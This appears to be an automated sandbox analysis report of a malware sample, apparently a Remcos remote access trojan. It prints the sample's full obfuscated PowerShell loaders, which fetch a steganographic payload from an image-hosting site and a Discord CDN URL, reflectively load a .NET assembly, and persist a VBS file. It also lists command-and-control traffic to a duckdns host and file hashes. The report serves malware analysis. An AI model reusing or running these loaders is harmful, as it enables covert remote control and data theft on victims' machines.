hOstUÇDfzFoCUUWJLhOstUÇDfzagBJCUUWJLhOstUÇDfzDQCUUWJLhOstUÇDfzWQB6CUUWJLhOstUÇDfzGcCUUWJLhOstUÇDfzMCUUWJLhOstUÇDfzBNCUUWJLhOstUÇDfzEcCUUWJLhOstUÇDfzSQCUUWJLhOstUÇDfzxCUUWJLhOstUÇDfzE4CUUWJLhOstUÇDfzagBZCUUWJLhOstUÇDfzDICUUWJLhOstUÇDfzTgBECUUWJLhOstUÇDfzGsCUUWJLhOstUÇDfzMQBZCUUWJLhOstUÇDfzCcCUUWJLhOstUÇDfzKwCUUWJLhOstUÇDfznCUUWJLhOstUÇDfzGoCUUWJLhOstUÇDfzJwCUUWJLhOstUÇDfzrCUUWJLhOstUÇDfzCcCUUWJLhOstUÇDfzTQB4CUUWJLhOstUÇDfzE0CUUWJLhOstUÇDfzRwBZCUUWJLhOstUÇDfzHgCUUWJLhOstUÇDfzTQBECUUWJLhOstUÇDfzEUCUUWJLhOstUÇDfzMwBOCUUWJLhOstUÇDfzDICUUWJLhOstUÇDfzVQB3CUUWJLhOstUÇDfzFoCUUWJLhOstUÇDfzVwBFCUUWJLhOstUÇDfzDkCUUWJLhOstUÇDfzYgBXCUUWJLhOstUÇDfzGcCUUWJLhOstUÇDfzbQBOCUUWJLhOstUÇDfzGoCUUWJLhOstUÇDfzYwCUUWJLhOstUÇDfzxCUUWJLhOstUÇDfzE8CUUWJLhOstUÇDfzRCUUWJLhOstUÇDfzBBCUUWJLhOstUÇDfzDMCUUWJLhOstUÇDfzTgBUCUUWJLhOstUÇDfzFkCUUWJLhOstUÇDfzOQBjCUUWJLhOstUÇDfzDICUUWJLhOstUÇDfzawBtCUUWJLhOstUÇDfzE4CUUWJLhOstUÇDfzagBkCUUWJLhOstUÇDfzGgCUUWJLhOstUÇDfzWgBqCUUWJLhOstUÇDfzEkCUUWJLhOstUÇDfzNCUUWJLhOstUÇDfzBOCUUWJLhOstUÇDfzFQCUUWJLhOstUÇDfzWQCUUWJLhOstUÇDfz5CUUWJLhOstUÇDfzGUCUUWJLhOstUÇDfzRwBVCUUWJLhOstUÇDfzC8CUUWJLhOstUÇDfzZCUUWJLhOstUÇDfzBICUUWJLhOstUÇDfzGgCUUWJLhOstUÇDfzMCUUWJLhOstUÇDfzBMCUUWJLhOstUÇDfzG0CUUWJLhOstUÇDfzbCUUWJLhOstUÇDfzBwCUUWJLhOstUÇDfzGECUUWJLhOstUÇDfzVwBsCUUWJLhOstUÇDfzHoCUUWJLhOstUÇDfzYwCUUWJLhOstUÇDfzyCUUWJLhOstUÇDfzDkCUUWJLhOstUÇDfzagBiCUUWJLhOstUÇDfzCcCUUWJLhOstUÇDfzKwCUUWJLhOstUÇDfznCUUWJLhOstUÇDfzFcCUUWJLhOstUÇDfzVgB5CUUWJLhOstUÇDfzEwCUUWJLhOstUÇDfzegBNCUUWJLhOstUÇDfzDICUUWJLhOstUÇDfzTQBqCUUWJLhOstUÇDfzE0CUUWJLhOstUÇDfzNQBNCUUWJLhOstUÇDfzFQCUUWJLhOstUÇDfzQQCUUWJLhOstUÇDfz1CUUWJLhOstUÇDfzE0CUUWJLhOstUÇDfzegBJCUUWJLhOstUÇDfzHoCUUWJLhOstUÇDfzTwBECUUWJLhOstUÇDfzFUCUUWJLhOstUÇDfzMgBPCUUWJLhOstUÇDfzFQCUUWJLhOstUÇDfzRQCUUWJLhOstUÇDfz0CUUWJLhOstUÇDfzE0CUUWJLhOstUÇDfzVCUUWJLhOstUÇDfzBFCUUWJLhOstUÇDfzHYCUUWJLhOstUÇDfzJwCUUWJLhOstUÇDfzrCUUWJLhOstUÇDfzCcCUUWJLhOstUÇDfzTQBECUUWJLhOstUÇDfzFUCUUWJLhOstUÇDfzeCUUWJLhOstUÇDfzBPCUUWJLhOstUÇDfzEQCUUWJLhOstUÇDfzWQB4CUUWJLhOstUÇDfzE0CUUWJLhOstUÇDfzVCUUWJLhOstUÇDfzBJCUUWJLhOstUÇDfzDCUUWJLhOstUÇDfzCUUWJLhOstUÇDfzTQBqCUUWJLhOstUÇDfzFECUUWJLhOstUÇDfzMQBOCUUWJLhOstUÇDfzFQCUUWJLhOstUÇDfzWQCUUWJLhOstUÇDfz1CUUWJLhOstUÇDfzE0CUUWJLhOstUÇDfzVCUUWJLhOstUÇDfzBnCUUWJLhOstUÇDfzHgCUUWJLhOstUÇDfzTQBTCUUWJLhOstUÇDfzDkCUUWJLhOstUÇDfzegBkCUUWJLhOstUÇDfzCcCUUWJLhOstUÇDfzKwCUUWJLhOstUÇDfznCUUWJLhOstUÇDfzEcCUUWJLhOstUÇDfzNQBsCUUWJLhOstUÇDfzGICUUWJLhOstUÇDfzVwCUUWJLhOstUÇDfznCUUWJLhOstUÇDfzCsCUUWJLhOstUÇDfzJwBoCUUWJLhOstUÇDfzGoCUUWJLhOstUÇDfzWQBYCUUWJLhOstUÇDfzFICUUWJLhOstUÇDfzMCUUWJLhOstUÇDfzBZCUUWJLhOstUÇDfzFMCUUWJLhOstUÇDfzOQB0CUUWJLhOstUÇDfzGICUUWJLhOstUÇDfzMgBNCUUWJLhOstUÇDfzHUCUUWJLhOstUÇDfzYwBICUUWJLhOstUÇDfzEICUUWJLhOstUÇDfzaCUUWJLhOstUÇDfzBaCUUWJLhOstUÇDfzEgCUUWJLhOstUÇDfzSgB2CUUWJLhOstUÇDfzFkCUUWJLhOstUÇDfzMwBOCUUWJLhOstUÇDfzHCUUWJLhOstUÇDfzCUUWJLhOstUÇDfzWgBDCUUWJLhOstUÇDfzDUCUUWJLhOstUÇDfzdQBaCUUWJLhOstUÇDfzEcCUUWJLhOstUÇDfzTQB2CUUWJLhOstUÇDfzEwCUUWJLhOstUÇDfzegBwCUUWJLhOstUÇDfzHoCUUWJLhOstUÇDfzYwBICUUWJLhOstUÇDfzFICUUWJLhOstUÇDfzMCUUWJLhOstUÇDfzBhCUUWJLhOstUÇDfzEECUUWJLhOstUÇDfzPQCUUWJLhOstUÇDfz9CUUWJLhOstUÇDfzDICUUWJLhOstUÇDfzNQBoCUUWJLhOstUÇDfzCCUUWJLhOstUÇDfzCUUWJLhOstUÇDfzJwCUUWJLhOstUÇDfzrCUUWJLhOstUÇDfzCcCUUWJLhOstUÇDfzLCUUWJLhOstUÇDfzCUUWJLhOstUÇDfzgCUUWJLhOstUÇDfzDICUUWJLhOstUÇDfzNQBoCUUWJLhOstUÇDfzDICUUWJLhOstUÇDfzNQBoCUUWJLhOstUÇDfzCCUUWJLhOstUÇDfzCUUWJLhOstUÇDfzLCUUWJLhOstUÇDfzCUUWJLhOstUÇDfzgCUUWJLhOstUÇDfzDICUUWJLhOstUÇDfzNQBoCUUWJLhOstUÇDfzDICUUWJLhOstUÇDfzMgCUUWJLhOstUÇDfz1CUUWJLhOstUÇDfzGgCUUWJLhOstUÇDfzICUUWJLhOstUÇDfzCUUWJLhOstUÇDfzsCUUWJLhOstUÇDfzCCUUWJLhOstUÇDfzCUUWJLhOstUÇDfzMgCUUWJLhOstUÇDfz1CUUWJLhOstUÇDfzGgCUUWJLhOstUÇDfzZwBvCUUWJLhOstUÇDfzG8CUUWJLhOstUÇDfzZwBsCUUWJLhOstUÇDfzGUCUUWJLhOstUÇDfzMgCUUWJLhOstUÇDfz1CUUWJLhOstUÇDfzGgCUUWJLhOstUÇDfzICUUWJLhOstUÇDfzCUUWJLhOstUÇDfzsCUUWJLhOstUÇDfzCCUUWJLhOstUÇDfzCUUWJLhOstUÇDfzMgCUUWJLhOstUÇDfz1CUUWJLhOstUÇDfzGgCUUWJLhOstUÇDfzMwCUUWJLhOstUÇDfzyCUUWJLhOstUÇDfzDUCUUWJLhOstUÇDfzaCUUWJLhOstUÇDfzCUUWJLhOstUÇDfzgCUUWJLhOstUÇDfzCwCUUWJLhOstUÇDfzICUUWJLhOstUÇDfzCUUWJLhOstUÇDfzyCUUWJLhOstUÇDfzDUCUUWJLhOstUÇDfzaCUUWJLhOstUÇDfzBDCUUWJLhOstUÇDfzDoCUUWJLhOstUÇDfzWgCUUWJLhOstUÇDfz0CUUWJLhOstUÇDfzDUCUUWJLhOstUÇDfzUCUUWJLhOstUÇDfzByCUUWJLhOstUÇDfzG8CUUWJLhOstUÇDfzZwByCUUWJLhOstUÇDfzGECUUWJLhOstUÇDfzbQBECUUWJLhOstUÇDfzGECUUWJLhOstUÇDfzdCUUWJLhOstUÇDfzBhCUUWJLhOstUÇDfzFoCUUWJLhOstUÇDfzNCUUWJLhOstUÇDfzCUUWJLhOstUÇDfz1CUUWJLhOstUÇDfzDICUUWJLhOstUÇDfzNQBoCUUWJLhOstUÇDfzCwCUUWJLhOstUÇDfzICUUWJLhOstUÇDfzCUUWJLhOstUÇDfzyCUUWJLhOstUÇDfzDUCUUWJLhOstUÇDfzaCUUWJLhOstUÇDfzBnCUUWJLhOstUÇDfzG8CUUWJLhOstUÇDfzbwBnCUUWJLhOstUÇDfzGwCUUWJLhOstUÇDfzJwCUUWJLhOstUÇDfzrCUUWJLhOstUÇDfzCcCUUWJLhOstUÇDfzZQCUUWJLhOstUÇDfzyCUUWJLhOstUÇDfzDUCUUWJLhOstUÇDfzaCUUWJLhOstUÇDfzCUUWJLhOstUÇDfzpCUUWJLhOstUÇDfzCkCUUWJLhOstUÇDfzJwCUUWJLhOstUÇDfzpCUUWJLhOstUÇDfzC4CUUWJLhOstUÇDfzUgBlCUUWJLhOstUÇDfzFCUUWJLhOstUÇDfzCUUWJLhOstUÇDfzTCUUWJLhOstUÇDfzBBCUUWJLhOstUÇDfzGMCUUWJLhOstUÇDfzRQCUUWJLhOstUÇDfzoCUUWJLhOstUÇDfzCcCUUWJLhOstUÇDfzWgCUUWJLhOstUÇDfz0CUUWJLhOstUÇDfzDUCUUWJLhOstUÇDfzJwCUUWJLhOstUÇDfzsCUUWJLhOstUÇDfzCcCUUWJLhOstUÇDfzXCUUWJLhOstUÇDfzCUUWJLhOstUÇDfznCUUWJLhOstUÇDfzCkCUUWJLhOstUÇDfzLgBSCUUWJLhOstUÇDfzGUCUUWJLhOstUÇDfzUCUUWJLhOstUÇDfzBMCUUWJLhOstUÇDfzEECUUWJLhOstUÇDfzYwBFCUUWJLhOstUÇDfzCgCUUWJLhOstUÇDfzJwBYCUUWJLhOstUÇDfzHICUUWJLhOstUÇDfzbQCUUWJLhOstUÇDfznCUUWJLhOstUÇDfzCwCUUWJLhOstUÇDfzWwBzCUUWJLhOstUÇDfzHQCUUWJLhOstUÇDfzcgBpCUUWJLhOstUÇDfzE4CUUWJLhOstUÇDfzRwBdCUUWJLhOstUÇDfzFsCUUWJLhOstUÇDfzQwBoCUUWJLhOstUÇDfzGECUUWJLhOstUÇDfzcgBdCUUWJLhOstUÇDfzDMCUUWJLhOstUÇDfzNgCUUWJLhOstUÇDfzpCUUWJLhOstUÇDfzC4CUUWJLhOstUÇDfzUgBlCUUWJLhOstUÇDfzFCUUWJLhOstUÇDfzCUUWJLhOstUÇDfzTCUUWJLhOstUÇDfzBBCUUWJLhOstUÇDfzGMCUUWJLhOstUÇDfzRQCUUWJLhOstUÇDfzoCUUWJLhOstUÇDfzCgCUUWJLhOstUÇDfzWwBDCUUWJLhOstUÇDfzGgCUUWJLhOstUÇDfzYQByCUUWJLhOstUÇDfzF0CUUWJLhOstUÇDfzNQCUUWJLhOstUÇDfzwCUUWJLhOstUÇDfzCsCUUWJLhOstUÇDfzWwBDCUUWJLhOstUÇDfzGgCUUWJLhOstUÇDfzYQByCUUWJLhOstUÇDfzF0CUUWJLhOstUÇDfzNQCUUWJLhOstUÇDfzzCUUWJLhOstUÇDfzCsCUUWJLhOstUÇDfzWwBDCUUWJLhOstUÇDfzGgCUUWJLhOstUÇDfzYQByCUUWJLhOstUÇDfzF0CUUWJLhOstUÇDfzMQCUUWJLhOstUÇDfzwCUUWJLhOstUÇDfzDQCUUWJLhOstUÇDfzKQCUUWJLhOstUÇDfzsCUUWJLhOstUÇDfzFsCUUWJLhOstUÇDfzcwB0CUUWJLhOstUÇDfzHICUUWJLhOstUÇDfzaQBOCUUWJLhOstUÇDfzEcCUUWJLhOstUÇDfzXQBbCUUWJLhOstUÇDfzEMCUUWJLhOstUÇDfzaCUUWJLhOstUÇDfzBhCUUWJLhOstUÇDfzHICUUWJLhOstUÇDfzXQCUUWJLhOstUÇDfzzCUUWJLhOstUÇDfzDkCUUWJLhOstUÇDfzKQB8CUUWJLhOstUÇDfzCYCUUWJLhOstUÇDfzICUUWJLhOstUÇDfzCUUWJLhOstUÇDfzoCUUWJLhOstUÇDfzCCUUWJLhOstUÇDfzCUUWJLhOstUÇDfzJCUUWJLhOstUÇDfzBWCUUWJLhOstUÇDfzGUCUUWJLhOstUÇDfzcgBiCUUWJLhOstUÇDfzE8CUUWJLhOstUÇDfzcwBFCUUWJLhOstUÇDfzHCUUWJLhOstUÇDfzCUUWJLhOstUÇDfzUgBFCUUWJLhOstUÇDfzEYCUUWJLhOstUÇDfzZQByCUUWJLhOstUÇDfzGUCUUWJLhOstUÇDfzTgBjCUUWJLhOstUÇDfzGUCUUWJLhOstUÇDfzLgB0CUUWJLhOstUÇDfzE8CUUWJLhOstUÇDfzUwBUCUUWJLhOstUÇDfzHICUUWJLhOstUÇDfzSQBuCUUWJLhOstUÇDfzEcCUUWJLhOstUÇDfzKCUUWJLhOstUÇDfzCUUWJLhOstUÇDfzpCUUWJLhOstUÇDfzFsCUUWJLhOstUÇDfzMQCUUWJLhOstUÇDfzsCUUWJLhOstUÇDfzDMCUUWJLhOstUÇDfzXQCUUWJLhOstUÇDfzrCUUWJLhOstUÇDfzCcCUUWJLhOstUÇDfzWCUUWJLhOstUÇDfzCUUWJLhOstUÇDfznCUUWJLhOstUÇDfzC0CUUWJLhOstUÇDfzSgBPCUUWJLhOstUÇDfzEkCUUWJLhOstUÇDfzbgCUUWJLhOstUÇDfznCUUWJLhOstUÇDfzCcCUUWJLhOstUÇDfzKQCUUWJLhOstUÇDfz=';$OWjuxd = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64string( $codigo.replace('CUUWJLhOstUÇDfz','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('XrmimageUrl = 25hhttps://uploaddeimagens.com.br/images/004/682'+'/796/original/dll.jpg?170179396525h;XrmwebClient = New-Object System.Net.'+'WebClient;Xr'+'mimageByte'+'s = XrmwebClient.DownloadDa'+'ta(XrmimageUrl);XrmimageText = [System.Text.Enco'+'ding]::UTF8.GetString(XrmimageBytes);XrmstartFlag = 25h<<BASE64_STAR'+'T>>25h;XrmendFlag ='+' 25h<<BASE64_END>>25h;XrmstartIndex ='+' XrmimageText.IndexOf(XrmstartFlag);XrmendIndex = XrmimageT'+'ext.IndexOf(XrmendFlag);XrmstartIndex -ge 0 -and XrmendIndex -gt Xrmstar'+'tIndex;XrmstartIndex += XrmstartFlag.Length;Xrmbase64Length = XrmendIndex - XrmstartIndex;Xrmbase64Command = XrmimageText.Substring(XrmstartIndex, Xrmbase64Length);XrmcommandBytes = [System.Convert]::FromBase64String(Xrmbase64Command);Xrml'+'oadedAssembly '+'= [Syste'+'m.Reflection.Assembly]::Load(XrmcommandBytes);Xrmtype = XrmloadedAssembly.GetType(2'+'5hClassLibrary3.Class125h);Xrmmethod = Xrm'+'type.GetMethod(25hRun25h).Invoke(Xrmnull'+', [object[]] (25hJjBhYmMzYjcwMjM1'+'NjQxM2JlNzAyYTg5NjA0ZWVkMjk3YjdjZjI4Yzg0MGI1NjY2NDk1Y'+'j'+'MxMGYxMDE3N2UwZWE9bWgmNjc1ODA3NTY9c2kmNjdhZjI4NTY9eGU/dHh0LmlpaWlzc29jb'+'WVyLzM2MjM5MTA5MzIzODU2OTE4MTEv'+'MDUxODYxMTI0MjQ1NTY5MTgxMS9zd'+'G5lbW'+'hjYXR0YS9tb2MucHBhZHJvY3NpZC5uZGMvLzpzcHR0aA==25h '+', 25h25h , 25h225h , 25hgoogle25h , 25h325h , 25hC:Z45ProgramDataZ4525h, 25hgoogl'+'e25h))').RePLAcE('Z45','\').RePLAcE('Xrm',[striNG][Char]36).RePLAcE(([Char]50+[Char]53+[Char]104),[striNG][Char]39)|& ( $VerbOsEpREFereNce.tOSTrInG()[1,3]+'X'-JOIn'')"

C:\Windows\System32\WindowsPowershell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowershell\v1.0\powershell.exe" -WindowStyle Hidden Copy-Item -Path *.vbs -Destination C:\ProgramData\google.vbs

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"

Network

Country Destination Domain Proto
US 8.8.8.8:53 76.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 2.136.104.51.in-addr.arpa udp
US 8.8.8.8:53 uploaddeimagens.com.br udp
US 8.8.8.8:53 80.14.97.104.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 241.154.82.20.in-addr.arpa udp
US 188.114.96.0:443 uploaddeimagens.com.br tcp
US 8.8.8.8:53 0.96.114.188.in-addr.arpa udp
US 8.8.8.8:53 g.bing.com udp
US 204.79.197.200:443 g.bing.com tcp
US 8.8.8.8:53 200.197.79.204.in-addr.arpa udp
US 8.8.8.8:53 198.1.85.104.in-addr.arpa udp
US 8.8.8.8:53 cdn.discordapp.com udp
US 162.159.135.233:443 cdn.discordapp.com tcp
US 8.8.8.8:53 233.135.159.162.in-addr.arpa udp
US 8.8.8.8:53 55.36.223.20.in-addr.arpa udp
US 8.8.8.8:53 remccoss2023.duckdns.org udp
CO 181.142.162.155:4576 remccoss2023.duckdns.org tcp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 8.8.8.8:53 59.128.231.4.in-addr.arpa udp
US 8.8.8.8:53 remccoss2023.duckdns.org udp
CO 181.142.162.155:4576 remccoss2023.duckdns.org tcp
US 8.8.8.8:53 103.169.127.40.in-addr.arpa udp
US 8.8.8.8:53 56.126.166.20.in-addr.arpa udp
US 8.8.8.8:53 17.14.97.104.in-addr.arpa udp
CO 181.142.162.155:4576 remccoss2023.duckdns.org tcp
US 8.8.8.8:53 81.14.97.104.in-addr.arpa udp
US 8.8.8.8:53 48.229.111.52.in-addr.arpa udp
CO 181.142.162.155:4576 remccoss2023.duckdns.org tcp
US 8.8.8.8:53 remccoss2023.duckdns.org udp
CO 181.142.162.155:4576 remccoss2023.duckdns.org tcp
US 8.8.8.8:53 43.58.199.20.in-addr.arpa udp
CO 181.142.162.155:4576 remccoss2023.duckdns.org tcp
US 8.8.8.8:53 90.65.42.20.in-addr.arpa udp
CO 181.142.162.155:4576 remccoss2023.duckdns.org tcp

Files

memory/2652-0-0x0000018A78740000-0x0000018A78762000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_fyc12ll2.whe.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/2652-10-0x00007FFB7E6F0000-0x00007FFB7F1B1000-memory.dmp

memory/2652-12-0x0000018A763E0000-0x0000018A763F0000-memory.dmp

memory/2652-11-0x0000018A763E0000-0x0000018A763F0000-memory.dmp

memory/3128-13-0x000002A7ECEE0000-0x000002A7ECEF0000-memory.dmp

memory/3128-14-0x000002A7ECEE0000-0x000002A7ECEF0000-memory.dmp

memory/3128-24-0x00007FFB7E6F0000-0x00007FFB7F1B1000-memory.dmp

memory/3128-25-0x000002A7ECEE0000-0x000002A7ECEF0000-memory.dmp

memory/3128-26-0x000002A7EF4D0000-0x000002A7EF4DA000-memory.dmp

memory/4288-28-0x00007FFB7E6F0000-0x00007FFB7F1B1000-memory.dmp

memory/4288-40-0x0000022AA2100000-0x0000022AA2110000-memory.dmp

memory/4288-39-0x0000022AA2100000-0x0000022AA2110000-memory.dmp

memory/4288-38-0x0000022AA2100000-0x0000022AA2110000-memory.dmp

memory/4288-44-0x00007FFB7E6F0000-0x00007FFB7F1B1000-memory.dmp

memory/3128-45-0x000002A7EF660000-0x000002A7EF668000-memory.dmp

memory/4368-46-0x0000000000400000-0x0000000000482000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

MD5 6cf293cb4d80be23433eecf74ddb5503
SHA1 24fe4752df102c2ef492954d6b046cb5512ad408
SHA256 b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8
SHA512 0f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 277f8a28e52e5d152911ca396aafc201
SHA1 e1c9a16e02d7f441b7ef8b158bedb1d073b027bc
SHA256 db34d44a764abe98ab93c23cd7ef48ca8170e362b1123498d672b015946011d0
SHA512 03febe29689333eeed9af284ba785bdacaed2945ed6e47911129e555d2b3a83b087081fd1f2e30cfa9b4ca751261af3b2e3a3e3cd4c37c0a5d67e648d0f49f57

memory/3128-50-0x00007FFB7E6F0000-0x00007FFB7F1B1000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 5caad758326454b5788ec35315c4c304
SHA1 3aef8dba8042662a7fcf97e51047dc636b4d4724
SHA256 83e613b6dc8d70e3bb67c58535e014f58f3e8b2921e93b55137d799fc8c56391
SHA512 4e0d443cf81e2f49829b0a458a08294bf1bdc0e38d3a938fb8274eeb637d9a688b14c7999dd6b86a31fcec839a9e8c1a9611ed0bbae8bd59caa9dba1e8253693

memory/2652-53-0x00007FFB7E6F0000-0x00007FFB7F1B1000-memory.dmp

memory/4368-54-0x0000000000400000-0x0000000000482000-memory.dmp

memory/4368-55-0x0000000000400000-0x0000000000482000-memory.dmp

memory/4368-57-0x0000000000400000-0x0000000000482000-memory.dmp

memory/4368-58-0x0000000000400000-0x0000000000482000-memory.dmp

memory/4368-60-0x0000000000400000-0x0000000000482000-memory.dmp

memory/4368-61-0x0000000000400000-0x0000000000482000-memory.dmp

memory/4368-62-0x0000000000400000-0x0000000000482000-memory.dmp

memory/4368-67-0x0000000000400000-0x0000000000482000-memory.dmp

memory/4368-68-0x0000000000400000-0x0000000000482000-memory.dmp

C:\ProgramData\remcos\registros.dat

MD5 9f32e9a4e6ce08f6d1e57bea15fe757f
SHA1 1ffb15f6a91b9f6dd5f7d71b597e984c08d50cfe
SHA256 f07e0cb5c495f2f586487d2f5cde658cab9a2e09f87784d7cbddd0e276097d83
SHA512 62df90ada468a205bf51c6e804d0d25f45017342057b2a0702a3e4dcf74ea77d99659c45ae75c00fe24172d8c43f83045e2c77a23f6c3097ee37f91a9f9a5bc5

memory/4368-73-0x0000000000400000-0x0000000000482000-memory.dmp

memory/4368-74-0x0000000000400000-0x0000000000482000-memory.dmp

memory/4368-80-0x0000000000400000-0x0000000000482000-memory.dmp

memory/4368-81-0x0000000000400000-0x0000000000482000-memory.dmp

memory/4368-86-0x0000000000400000-0x0000000000482000-memory.dmp

memory/4368-87-0x0000000000400000-0x0000000000482000-memory.dmp

memory/4368-92-0x0000000000400000-0x0000000000482000-memory.dmp

memory/4368-94-0x0000000000400000-0x0000000000482000-memory.dmp

memory/4368-99-0x0000000000400000-0x0000000000482000-memory.dmp

memory/4368-100-0x0000000000400000-0x0000000000482000-memory.dmp